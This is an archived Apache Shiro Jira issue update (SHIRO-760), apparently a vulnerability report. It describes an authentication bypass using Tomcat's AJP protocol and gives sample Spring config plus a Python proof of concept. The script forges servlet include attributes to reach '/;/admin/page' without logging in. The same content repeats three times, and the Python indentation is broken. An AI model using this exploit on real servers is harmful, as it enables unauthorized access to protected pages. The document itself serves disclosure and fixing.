You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@shiro.apache.org by "cl0und (Jira)" <ji...@apache.org> on 2020/04/23 16:06:00 UTC

[jira] [Updated] (SHIRO-760) Bypass shiroFilter ACL

     [ https://issues.apache.org/jira/browse/SHIRO-760?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

cl0und updated SHIRO-760:
-------------------------
    Description: 
I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
{code:java}
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    DefaultWebSecurityManager securityManager(){
        DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean(){
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager());
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/index");
        bean.setUnauthorizedUrl("/unauthorizedurl");
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin", "anon");
        map.put("/admin/*", "authc");
        bean.setFilterChainDefinitionMap(map);
        return  bean;
    }
}{code}
 
{code:java}
@RestController
public class LoginController {
    @PostMapping("/doLogin")
    public void doLogin(String username, String password) {
        Subject subject = SecurityUtils.getSubject();        try {
            subject.login(new UsernamePasswordToken(username, password));
            System.out.println("登录成功!");
        } catch (AuthenticationException e) {
            e.printStackTrace();
            System.out.println("登录失败!");
        }
    }    @GetMapping("/admin/page")
    public String admin() {
        return "admin page";
    }    @GetMapping("/login")
    public String login() {
        return "please login!";
    }
}

{code}
 

If we visit /;/admin/page through http protocol, we will get a 302.

!image-2020-04-23-23-50-02-610.png|width=569,height=141!

But if we use the ajp protocol to access, we can directly access the admin page。

!image-2020-04-23-23-51-31-381.png|width=562,height=275!

By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.

 
{code:java}
import sys
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat
import Tomcat
gc = Tomcat('127.0.0.1', 8009)
attributes = [
    {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.path_info", "/", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.servlet_path", "", )
    }
, ]
hdrs, data = gc.perform_request("/", attributes = attributes)
output = sys.stdout
for d in data:
    try:
    output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
    output.write(repr(d.data))

{code}
 env:apache-tomcat-8.5.45 + shiro 1.5.2

  was:
I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
{code:java}
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    DefaultWebSecurityManager securityManager(){
        DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean(){
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager());
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/index");
        bean.setUnauthorizedUrl("/unauthorizedurl");
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin", "anon");
        map.put("/admin/*", "authc");
        bean.setFilterChainDefinitionMap(map);
        return  bean;
    }
}{code}
 
{code:java}
@RestController
public class LoginController {
    @PostMapping("/doLogin")
    public void doLogin(String username, String password) {
        Subject subject = SecurityUtils.getSubject();        try {
            subject.login(new UsernamePasswordToken(username, password));
            System.out.println("登录成功!");
        } catch (AuthenticationException e) {
            e.printStackTrace();
            System.out.println("登录失败!");
        }
    }    @GetMapping("/admin/page")
    public String admin() {
        return "admin page";
    }    @GetMapping("/login")
    public String login() {
        return "please login!";
    }
}

{code}
 

If we visit /;/admin/page through http protocol, we will get a 302.

!image-2020-04-23-23-50-02-610.png|width=569,height=141!

But if we use the ajp protocol to access, we can directly access the admin page。

!image-2020-04-23-23-51-31-381.png|width=562,height=275!

By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.

 
{code:java}
import sys
from ajpy.ajp
import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat
import Tomcat
gc = Tomcat('127.0.0.1', 8009)
attributes = [
    {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.path_info", "/", )
    }
    , {
        "name": "req_attribute"
        , "value": ("javax.servlet.include.servlet_path", "", )
    }
, ]
hdrs, data = gc.perform_request("/", attributes = attributes)
output = sys.stdout
for d in data:
    try:
    output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
    output.write(repr(d.data))

{code}
 


> Bypass shiroFilter ACL
> ----------------------
>
>                 Key: SHIRO-760
>                 URL: https://issues.apache.org/jira/browse/SHIRO-760
>             Project: Shiro
>          Issue Type: Bug
>          Components: Authorization (access control) 
>            Reporter: cl0und
>            Priority: Major
>         Attachments: image-2020-04-23-23-50-02-610.png, image-2020-04-23-23-51-31-381.png
>
>
> I found that shiroFilter's access control can be bypassed through tomcat ajp protocol。
> {code:java}
> @Configuration
> public class ShiroConfig {
>     @Bean
>     MyRealm myRealm() {
>         return new MyRealm();
>     }
>     @Bean
>     DefaultWebSecurityManager securityManager(){
>         DefaultWebSecurityManager  manager = new DefaultWebSecurityManager();
>         manager.setRealm(myRealm());
>         return manager;
>     }
>     @Bean
>     ShiroFilterFactoryBean shiroFilterFactoryBean(){
>         ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
>         bean.setSecurityManager(securityManager());
>         bean.setLoginUrl("/login");
>         bean.setSuccessUrl("/index");
>         bean.setUnauthorizedUrl("/unauthorizedurl");
>         Map<String, String> map = new LinkedHashMap<>();
>         map.put("/doLogin", "anon");
>         map.put("/admin/*", "authc");
>         bean.setFilterChainDefinitionMap(map);
>         return  bean;
>     }
> }{code}
>  
> {code:java}
> @RestController
> public class LoginController {
>     @PostMapping("/doLogin")
>     public void doLogin(String username, String password) {
>         Subject subject = SecurityUtils.getSubject();        try {
>             subject.login(new UsernamePasswordToken(username, password));
>             System.out.println("登录成功!");
>         } catch (AuthenticationException e) {
>             e.printStackTrace();
>             System.out.println("登录失败!");
>         }
>     }    @GetMapping("/admin/page")
>     public String admin() {
>         return "admin page";
>     }    @GetMapping("/login")
>     public String login() {
>         return "please login!";
>     }
> }
> {code}
>  
> If we visit /;/admin/page through http protocol, we will get a 302.
> !image-2020-04-23-23-50-02-610.png|width=569,height=141!
> But if we use the ajp protocol to access, we can directly access the admin page。
> !image-2020-04-23-23-51-31-381.png|width=562,height=275!
> By the way, how to use this exp。git clone [https://github.com/hypn0s/AJPy.git] and Change the content of tomcat.py to the following.
>  
> {code:java}
> import sys
> from ajpy.ajp
> import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
> from tomcat
> import Tomcat
> gc = Tomcat('127.0.0.1', 8009)
> attributes = [
>     {
>         "name": "req_attribute"
>         , "value": ("javax.servlet.include.request_uri", "/;/admin/page", )
>     }
>     , {
>         "name": "req_attribute"
>         , "value": ("javax.servlet.include.path_info", "/", )
>     }
>     , {
>         "name": "req_attribute"
>         , "value": ("javax.servlet.include.servlet_path", "", )
>     }
> , ]
> hdrs, data = gc.perform_request("/", attributes = attributes)
> output = sys.stdout
> for d in data:
>     try:
>     output.write(d.data.decode('utf8'))
> except UnicodeDecodeError:
>     output.write(repr(d.data))
> {code}
>  env:apache-tomcat-8.5.45 + shiro 1.5.2



--
This message was sent by Atlassian Jira
(v8.3.4#803005)